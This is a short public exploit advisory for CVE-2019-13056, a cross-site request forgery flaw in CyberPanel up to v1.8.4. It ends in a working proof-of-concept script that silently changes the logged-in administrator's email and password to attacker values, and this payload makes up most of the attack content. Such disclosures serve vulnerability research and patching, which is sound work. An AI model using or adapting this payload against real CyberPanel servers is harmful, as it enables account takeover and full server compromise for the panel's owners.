# Title: CyberPanel Administrator Account Takeover <= v1.8.4# Date: 30.06.2019# Author: Bilgi Birikim Sistemleri# Vendor Homepage: https://cyberpanel.net/# Version: Up to v1.8.4.# CVE: CVE-2019-13056# mturkyilmaz@bilgibirikim.com & bilgibirikim.com# Description:# Attacker can edit administrator's credentials like email, password.# Then, access the administration panel and takeover the server.# A CSRF vulnerability.# How to Reproduce:# Attacker will create a website,# CyberPanel administrator will visit that website,# Administrator's e-mail and password will be changed automatically.# PoC:
<script>
fetch('https://SERVERIP:8090/users/saveModifications',{method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"accountUsername":"admin","firstName":"CSRF","lastName":"Vulnerable","email":"attackersemail@example.org","password":"attackerspassword"}'});
</script>